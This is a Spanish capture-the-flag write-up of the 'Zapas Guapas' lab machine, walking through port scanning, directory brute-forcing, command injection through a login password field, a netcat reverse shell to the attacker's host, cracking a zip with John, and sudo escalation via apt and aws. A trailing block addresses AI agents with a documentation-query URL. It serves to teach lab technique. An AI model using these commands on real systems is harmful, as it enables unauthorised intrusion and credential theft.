# Zapas Guapas

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.70
```

para verificar la conectividad de red.

<figure><img src="/files/mm1pdV1rOaNs7OsnJ8sI" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.70
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/pPq7OnLBKdas3nf7XCD0" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.70
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/n5TFgbF8lNSsn7Tu1oj1" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de una tienda de zapatillas.

<figure><img src="/files/45Q0JTvcwj03BRkbbe2f" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://192.168.1.68
```

Vemos que hay un archivo `login.html` que revisaremos.

<figure><img src="/files/wqc3NPem91Fvt9Y4TJAo" alt=""><figcaption></figcaption></figure>

Probando varias opciones me he dado cuenta que hay una ejecución remota de comandos por lo que a poner cualquier usuario y añadir en el campo contraseña el comando:

```bash
cat /etc/passwd
```

Nos damos cuenta de 3 usuarios **root**, **pronike** y **proadidas**. Voy a realizar una Reverse Shell.

```bash
busybox nc 192.168.1.50 443 -e sh
```

Tras ponerme en escucha y realizar tratamiento de la TTY. Como se nos muestra aquí: [Tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#). Indagando en el usuario **pronike** encontramos un archivo `nota.txt`.

<figure><img src="/files/3bRF8BTzyejBLhCHgrtP" alt=""><figcaption></figcaption></figure>

También encontramos en el directorio `/opt` un zip que nos descargamos a nuestra máquina local.

```
En la máquina víctima
python3 -m http.server 8080
En la máquina atacante
wget http://192.168.1.70:8080/importante.zip
```

<figure><img src="/files/UOhbY1kNTWZM4abQwKtz" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Ahora realizamos fuerza bruta.

```bash
zip2john importante.zip > hash_zip
```

```bash
john hash_zip --wordlist=/usr/share/wordlists/rockyou.txt 
```

<figure><img src="/files/ILQYiwqxR8AGzHOIjR9m" alt=""><figcaption></figcaption></figure>

Obtenemos la contraseña para descomprimir el **.zip**.

<figure><img src="/files/X2VSQMtao6hyrh9mZRbD" alt=""><figcaption></figcaption></figure>

```bash
ssh pronike@192.168.1.70
```

<figure><img src="/files/1ieag2DO9jFR6lIOZvS9" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/MPtgwQDNVLQFjF169bi0" alt=""><figcaption></figcaption></figure>

Tenemos permisos sudo en **apt**. Para más detalles, visitamos [GTFObins - apt](https://gtfobins.github.io/gtfobins/apt/).

<figure><img src="/files/qga0yAnBmlPh5M9cEk60" alt=""><figcaption></figcaption></figure>

Repetimos el proceso, por lo que hacemos:

```bash
sudo -l
```

<figure><img src="/files/WqsLXlgTaYLlhfGUkZyN" alt=""><figcaption></figcaption></figure>

Tenemos permisos sudo en **aws**. Para más detalles, visitamos [GTFObins - AWS](https://gtfobins.github.io/gtfobins/aws/)

<figure><img src="/files/RT76nrhAjbaMZNikCzvb" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/zapas-guapas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
